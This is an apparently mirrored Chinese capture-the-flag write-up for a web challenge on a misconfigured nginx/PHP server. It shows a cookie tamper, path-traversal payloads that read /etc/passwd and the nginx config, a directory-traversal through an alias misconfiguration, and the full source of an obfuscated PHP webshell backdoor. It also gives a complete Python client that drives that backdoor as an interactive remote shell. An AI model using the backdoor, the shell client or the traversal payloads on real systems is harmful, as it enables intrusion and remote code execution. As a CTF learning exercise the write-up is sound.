zoukankan      html  css  js  c++  java
  • web php wrong nginx config

    web php wrong nginx config

    题目描述

    解题过程

    信息收集

    • 环境
      • ubuntu
      • nginx/1.10.3
      • php
    • 御剑扫描
      • 发现robots.txt/admin/

    robots.txt

    里面放了两个文件名hint.phpHack.php

    依次访问

    hint.php

    内容为

    配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

    Hack.php

    无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0

    在浏览器console里修改为isLogin=1,成功访问

    尝试了一遍,发现只有管理中心链接可以跳转

    /admin/admin.php

    应该是文件包含

    • 尝试file=../../../../etc/passwd&ext=,页面除了少了please continue之外没有变化
    • 尝试file=index./&ext=php,页面没有please continue
    • 尝试file=index../&ext=php,页面有please continue
    • 尝试file=index.../&ext=php,页面有please continue

    有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

    • 再次尝试file=..././..././..././..././etc/passwd&ext=

    /etc/nginx/sites-enabled/site.conf

    • 访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

    • 得到内容

      server 
      { 
      listen 8080; 
      ## listen for ipv4; this line is default and implied listen [::]:8080; 
      ## listen for ipv6 root /var/www/html; 
      index index.php index.html index.htm; 
      port_in_redirect off; server_name _; 
      # Make site accessible from http://localhost/ 
      #server_name localhost; 
      # If block for setting the time for the logfile if ($time_iso8601 ~ "^(d{4})-(d{2})-(d{2})") { set $year $1; set $month $2; set $day $3; } 
      # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; 
      set $http_x_forwarded_for_filt $http_x_forwarded_for; 
      if ($http_x_forwarded_for_filt ~ ([0-9]+.[0-9]+.[0-9]+.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } 
      # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
      location / { 
      # First attempt to serve request as file, then 
      # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; 
      # redirect server error pages to the static page /50x.html 
      # error_page 500 502 503 504 /50x.html; 
      location = /50x.html { 
      root /usr/share/nginx/html;
      } 
      
      location ~ .php
      $ { 
      try_files $uri $uri/ /index.php?q=$uri&$args;
      fastcgi_split_path_info ^(.+.php)(/.+)$; 
      fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
      fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
      fastcgi_index index.php; include fastcgi_params; 
      fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
      } 
      
      location ~ /. { 
      log_not_found off; 
      deny all; 
      } 
      
      location /web-img { 
      alias /images/; 
      autoindex on; 
      } 
      
      location ~* .(ini|docx|pcapng|doc)$ { deny all; } 
      
      include /var/www/nginx[.]conf; 
      }
      

      发现/web-img可以进行目录浏览,这里的url解析为/web-img,所以构造的路径需要直接添加在后,不需要再添加/

    /web-img

    • 访问/web-img,绝对路径为/web-img

    • 访问web-img../

    • 发现hack.php.bak文件

      解码后

      <?php
      $kh = "42f7";
      $kf = "e9ac";
      function x($t, $k) {
          $c = strlen($k);
          $l = strlen($t);
          $o = "";
          for ($i = 0;$i < $l;) {
              for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
                  $o.= $t{$i} ^ $k{$j};
              }
          }
          return $o;
      }
      $r = $_SERVER;
      $rr = @$r["HTTP_REFERER"];
      $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
      if ($rr && $ra) {
          $u = parse_url($rr);
          parse_str($u["query"], $q);
          $q = array_values($q);
          preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/", $ra, $m);
          if ($q && $m) {
              @session_start();
              $s = & $_SESSION;
              $ss = "substr";
              $sl = "strtolower";
              $i = $m[1][0] . $m[1][1];
              $h = $sl($ss(md5($i . $kh), 0, 3));
              $f = $sl($ss(md5($i . $kf), 0, 3));
              $p = "";
              for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
              if (strpos($p, $h) === 0) {
                  $s[$i] = "";
                  $p = $ss($p, 3);
              }
              if (array_key_exists($i, $s)) {
                  $s[$i].= $p;
                  $e = strpos($s[$i], $f);
                  if ($e) {
                      $k = $kh . $kf;
                      ob_start();
                      @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                      $o = ob_get_contents();
                      ob_end_clean();
                      $d = base64_encode(x(gzcompress($o), $k));
                      print ("<$k>$d</$k>");
                      @session_destroy();
                  }
              }
          }
      }
      ?>
      

      大概是个加壳的webshell,但看不懂 = =,搜到一篇介绍,使用介绍里的exp(py2)

    exp

    = = = = = = = = = 介绍里的脚本(使用的时候需要把67、68行的密钥和70行的url改一下)

    # encoding: utf-8
    
    
    from random import randint, choice
    from hashlib import md5
    import urllib
    import string
    import zlib
    import base64
    import requests
    import re
    
    
    def choicePart(seq, amount):
        length = len(seq)
        if length == 0 or length < amount:
            print 'Error Input'
            return None
        result = []
        indexes = []
        count = 0
        while count < amount:
            i = randint(0, length - 1)
            if not i in indexes:
                indexes.append(i)
                result.append(seq[i])
                count += 1
                if count == amount:
                    return result
    
    
    def randBytesFlow(amount):
        result = ''
        for i in xrange(amount):
            result += chr(randint(0, 255))
        return result
    
    
    def randAlpha(amount):
        result = ''
        for i in xrange(amount):
            result += choice(string.ascii_letters)
        return result
    
    
    def loopXor(text, key):
        result = ''
        lenKey = len(key)
        lenTxt = len(text)
        iTxt = 0
        while iTxt < lenTxt:
            iKey = 0
            while iTxt < lenTxt and iKey < lenKey:
                result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
                iTxt += 1
                iKey += 1
        return result
    
    
    def debugPrint(msg):
        if debugging:
            print msg
    
    
    # config
    debugging = False
    keyh = "42f7"  # $kh
    keyf = "e9ac"  # $kf
    xorKey = keyh + keyf
    url = 'http://220.249.52.133:43560/hack.php'
    defaultLang = 'zh-CN'
    languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
    proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug
    
    sess = requests.Session()
    
    # generate random Accept-Language only once each session
    langTmp = choicePart(languages, 3)
    indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
    
    acceptLang = [defaultLang]
    for i in xrange(3):
        acceptLang.append(langTmp[i] % (indexes[i],))
    acceptLangStr = ','.join(acceptLang)
    debugPrint(acceptLangStr)
    
    init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
    md5head = (md5(init2Char + keyh).hexdigest())[0:3]
    md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
    debugPrint('$i is %s' % (init2Char))
    debugPrint('md5 head: %s' % (md5head,))
    debugPrint('md5 tail: %s' % (md5tail,))
    
    # Interactive php shell
    cmd = raw_input('phpshell > ')
    while cmd != '':
        # build junk data in referer
        query = []
        for i in xrange(max(indexes) + 1 + randint(0, 2)):
            key = randAlpha(randint(3, 6))
            value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
            query.append((key, value))
        debugPrint('Before insert payload:')
        debugPrint(query)
        debugPrint(urllib.urlencode(query))
    
        # encode payload
        payload = zlib.compress(cmd)
        payload = loopXor(payload, xorKey)
        payload = base64.urlsafe_b64encode(payload)
        payload = md5head + payload
    
        # cut payload, replace into referer
        cutIndex = randint(2, len(payload) - 3)
        payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
        iPiece = 0
        for i in indexes:
            query[i] = (query[i][0], payloadPieces[iPiece])
            iPiece += 1
        referer = url + '?' + urllib.urlencode(query)
        debugPrint('After insert payload, referer is:')
        debugPrint(query)
        debugPrint(referer)
    
        # send request
        r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
        html = r.text
        debugPrint(html)
    
        # process response
        pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
        output = pattern.findall(html)
        if len(output) == 0:
            print 'Error,  no backdoor response'
            cmd = raw_input('phpshell > ')
            continue
        output = output[0]
        debugPrint(output)
        output = output.decode('base64')
        output = loopXor(output, xorKey)
        output = zlib.decompress(output)
        print output
        cmd = raw_input('phpshell > ')
    
    
  • 相关阅读:
    【转载】褪去华衣 裸视学习 探讨系列
    最简单的视频网站(JavaEE+FFmpeg)
    过段时间要换博客了
    计网3
    计网1
    物理层计算题
    计网4
    子网划分与CIDR
    百度=残留在墙后的垃圾
    计网2
  • 原文地址:https://www.cnblogs.com/R3col/p/13390419.html
Copyright © 2011-2022 走看看